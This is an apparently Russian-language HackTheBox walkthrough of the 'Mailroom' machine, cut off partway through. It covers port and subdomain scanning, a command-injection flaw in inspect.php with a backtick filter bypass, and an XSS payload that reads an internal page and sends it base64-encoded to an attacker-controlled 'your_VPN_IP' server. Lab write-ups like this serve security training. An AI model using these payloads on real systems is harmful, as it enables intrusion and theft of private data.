{"id":146,"date":"2023-08-21T12:03:56","date_gmt":"2023-08-21T09:03:56","guid":{"rendered":"https:\/\/seq.team\/?p=146"},"modified":"2025-12-02T15:15:53","modified_gmt":"2025-12-02T12:15:53","slug":"htb-mailroom-hard","status":"publish","type":"post","link":"https:\/\/seq.team\/en\/blog\/htb-mailroom-hard\/","title":{"rendered":"\u0420\u0430\u0437\u0431\u043e\u0440 HackTheBox &#8211; Mailroom (Hard)"},"content":{"rendered":"\n<figure class=\"wp-block-table alignleft\"><table><tbody><tr><td>\u0421\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c:<\/td><td class=\"has-text-align-left\" data-align=\"left\">Hard<\/td><\/tr><tr><td>\u041e\u0421:<\/td><td class=\"has-text-align-left\" data-align=\"left\">Linux<\/td><\/tr><tr><td>\u0411\u0430\u043b\u043b\u044b:<\/td><td class=\"has-text-align-left\" data-align=\"left\">40<\/td><\/tr><tr><td>IP:<\/td><td class=\"has-text-align-left\" data-align=\"left\">10.10.11.209<\/td><\/tr><tr><td>\u0422\u0435\u0433\u0438<\/td><td class=\"has-text-align-left\" data-align=\"left\">Code Review, XSS, NoSQL, System call interception<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041a\u0440\u0430\u0442\u043a\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h3>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e XSS \u0432 \u0444\u043e\u0440\u043c\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0438 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 NoSQL \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <strong>tristan<\/strong>. \u0417\u0430\u0442\u0435\u043c \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u0443\u044e \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c. \u0412 \u043d\u0451\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <strong>matthew<\/strong>, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0444\u043b\u0430\u0433 \u0438 \u0434\u0432\u0438\u0433\u0430\u0435\u043c\u0441\u044f \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e. \u0412 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 <em>kbdx<\/em> \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0443\u044e \u0435\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 <em>kpcli<\/em>, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0432\u0432\u043e\u0434, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043c\u0430\u0441\u0442\u0435\u0440-\u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <strong>root<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0424\u0430\u0437\u0430 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438<\/h3>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0434\u0451\u043c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0435\u043b\u0438: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>nmap -sS -p- 10.10.11.209<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; title: ; notranslate\" title=\"\">\nPORT STATE SERVICE\n22\/tcp open ssh\n80\/tcp open http\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e: <code>nmap -sVC -O -p22,80 10.10.11.209<\/code><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey:  \n|   3072 94:bb:2f:fc:ae:b9:b1:82:af:d7:89:81:1a:a7:6c:e5 (RSA) \n|   256 82:1b:eb:75:8b:96:30:cf:94:6e:79:57:d9:dd:ec:a7 (ECDSA) \n|_  256 19:fb:45:fe:b9:e4:27:5d:e5:bb:f3:54:97:dd:68:cf (ED25519) \n80\/tcp open  http    Apache httpd 2.4.54 ((Debian)) \n|_http-title: The Mail Room \n|_http-server-header: Apache\/2.4.54 (Debian) \nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)\n<\/pre><\/div>\n\n\n<p>\u0414\u0430\u043b\u0435\u0435, \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image.png\" alt=\"\" class=\"wp-image-148\" width=\"700\" height=\"273\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-1.png\" alt=\"\" class=\"wp-image-149\" width=\"700\" height=\"440\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-2.png\" alt=\"\" class=\"wp-image-150\" width=\"400\"\/><\/figure><\/div>\n\n\n<p>\u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u043e\u043c\u0435\u043d \u0432 <code>\/etc\/hosts<\/code><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n# HTB\n10.10.11.209    mailroom.htb\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0435\u0440\u0432\u0438\u0441\u0430: Tristan Pitt, Matthew Conley, Chris McLovin\u2019, Vivien Perkins<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-3.png\" alt=\"\" class=\"wp-image-151\" width=\"549\" height=\"535\"\/><\/figure><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-4.png\" alt=\"\" class=\"wp-image-152\" width=\"549\" height=\"535\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0438 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u043e\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0433\u043e \u043b\u0443\u0442\u0430, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <code>gobuster, feroxbuster, fuff<\/code> \u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u043d\u0430 \u0432\u0430\u0448\u0435 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\ngobuster dir -u http:\/\/mailroom.htb -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/directory-list-2.3-medium.txt -k\n<\/pre><\/div>\n\n\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043a\u0430\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>gobuster<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/assets               (Status: 301) &#x5B;Size: 313] &#x5B;--&gt; http:\/\/mailroom.htb\/assets\/]\n\/css                  (Status: 301) &#x5B;Size: 310] &#x5B;--&gt; http:\/\/mailroom.htb\/css\/]\n\/template             (Status: 403) &#x5B;Size: 277] \n\/js                   (Status: 301) &#x5B;Size: 309] &#x5B;--&gt; http:\/\/mailroom.htb\/js\/]\n\/javascript           (Status: 301) &#x5B;Size: 317] &#x5B;--&gt; http:\/\/mailroom.htb\/javascript\/] \n\/font                 (Status: 301) &#x5B;Size: 311] &#x5B;--&gt; http:\/\/mailroom.htb\/font\/]\n\/server-status        (Status: 403) &#x5B;Size: 277]\n<\/pre><\/div>\n\n\n<p>\u0421\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>fuff<\/code>: <\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nffuf -u &quot;http:\/\/mailroom.htb\/&quot; -H 'Host: FUZZ.mailroom.htb' -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/subdomains-top1million-20000.txt -fs 0,7748\n<\/pre><\/div>\n\n\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n* FUZZ: git \n* FUZZ: beta\n<\/pre><\/div>\n\n\n<p>\u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u044b beta \u0438 git \u0432 \u0444\u0430\u0439\u043b hosts \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u0443\u0435\u043c \u0438\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n# HTB \n10.10.11.209    mailroom.htb    git.mailroom.htb        beta.mailroom.htb\n<\/pre><\/div>\n\n\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 beta.mailroom.htb \u043d\u0438\u0447\u0435\u043c \u043d\u0435 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 mailroom.htb. git.mailroom.htb \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0435\u043a\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043e \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 Gitea (1.18.0).<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-5.png\" alt=\"\" class=\"wp-image-153\" width=\"446\" height=\"62\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-6.png\" alt=\"\" class=\"wp-image-154\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043c\u044b \u0441 \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u043c\u043e\u0436\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 <code>tristan<\/code> \u0438 <code>matthew<\/code>. \u0414\u0430\u043b\u0435\u0435, \u043c\u043e\u0436\u043d\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-7.png\" alt=\"\" class=\"wp-image-155\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u0434\u0435\u043b\u0438\u043c \u0447\u0430\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0441 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c: <\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>http:\/\/git.mailroom.htb\/matthew\/staffroom\/src\/branch\/main\/auth.php<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;\u2026]\n$client = new MongoDB\\Client(&quot;mongodb:\/\/mongodb:27017&quot;); \/\/ Connect to the MongoDB database\n&#x5B;\u2026]\n\/\/ Send an email to the user with the 2FA token\n      $to = $user&#x5B;'email'];\n      $subject = '2FA Token';\n      $message = 'Click on this link to authenticate: http:\/\/staff-review-panel.mailroom.htb\/auth.php?token=' . $token;\n      mail($to, $subject, $message);\n&#x5B;\u2026]\n<\/pre><\/div>\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>http:\/\/git.mailroom.htb\/matthew\/staffroom\/src\/branch\/main\/inspect.php<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n&#x5B;...]\n$data = '';\nif (isset($_POST&#x5B;'inquiry_id'])) {\n      $inquiryId = preg_replace('\/&#x5B;\\$&amp;lt;&gt;;|&amp;amp;{}\\(\\)\\&#x5B;\\]\\'\\&quot;]\/', '', $_POST&#x5B;'inquiry_id']);\n      $contents = shell_exec(&quot;cat \/var\/www\/mailroom\/inquiries\/$inquiryId.html&quot;);\n&#x5B;...]\n<\/pre><\/div>\n\n\n<p>\u0418\u0437 <code>auth.php<\/code> \u043c\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d <code>staff-review-panel.*<\/code>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0421\u0423\u0411\u0414 mongodb, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 2FA. \u0418\u0437 <code>inspect.php<\/code> \u043c\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0432 \u043a\u043e\u0434\u0435 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Command Injection, \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>preg_replace<\/code> \u043b\u0435\u0433\u043a\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0438\u043c\u0432\u043e\u043b\u0430 <code>`<\/code>(backtick)<\/p>\n\n\n\n<p>\u0414\u043e\u0431\u0430\u0432\u0438\u043c \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d <code>staff-review-panel.*<\/code> \u0432 \u0444\u0430\u0439\u043b hosts<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-8.png\" alt=\"\" class=\"wp-image-156\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 SSH \u0438 \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0435 \u0432 staff-review-panel.*<\/h3>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 XSS, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443: <code>1&lt;svg\/onload=alert(1)&gt;<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-9.png\" alt=\"\" class=\"wp-image-157\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e XSS \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0436\u0430\u0442\u044c \u043d\u0430:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-10.png\" alt=\"\" class=\"wp-image-158\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-11.png\" alt=\"\" class=\"wp-image-161\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0414\u0430\u043b\u0435\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 <code>index.php<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\n&lt;script&gt;var url = &quot;http:\/\/staff-review-panel.mailroom.htb\/index.php&quot;;\nvar attacker = &quot;http:\/\/your_VPN_IP\/dump&quot;;\nvar xhr = new XMLHttpRequest();\nxhr.onreadystatechange = function() {\n   if (xhr.readyState == XMLHttpRequest.DONE) {\n      fetch(attacker + &quot;@&quot; + encodeURI(btoa(xhr.responseText)))\n   }\n}\nxhr.open('GET', url, true);\nxhr.send(null);&lt;\/script&gt;\n<\/pre><\/div>\n\n\n<p>\u041f\u0435\u0440\u0435\u0434 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0435\u0439 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 URL \u0438 \u043f\u043e\u0434\u043d\u044f\u0442\u044c http \u0441\u0435\u0440\u0432\u0435\u0440 c \u043f\u043e\u043c\u043e\u0449\u044c\u044e: <code>python3 -m http.server 80<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-12.png\" alt=\"\" class=\"wp-image-162\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0430 \u043f\u043e\u0434\u043d\u044f\u0442\u044b\u0439 SimpleHTTP \u043f\u0438\u0442\u043e\u043d \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0434\u043b\u044f \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b <code>index.php<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-13.png\" alt=\"\" class=\"wp-image-163\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u0414\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-14.png\" alt=\"\" class=\"wp-image-164\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n\n&lt;head&gt;\n  &lt;meta charset=&quot;utf-8&quot; \/&gt;\n  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shrink-to-fit=no&quot; \/&gt;\n  &lt;meta name=&quot;description&quot; content=&quot;&quot; \/&gt;\n  &lt;meta name=&quot;author&quot; content=&quot;&quot; \/&gt;\n  &lt;title&gt;Inquiry Review Panel&lt;\/title&gt;\n  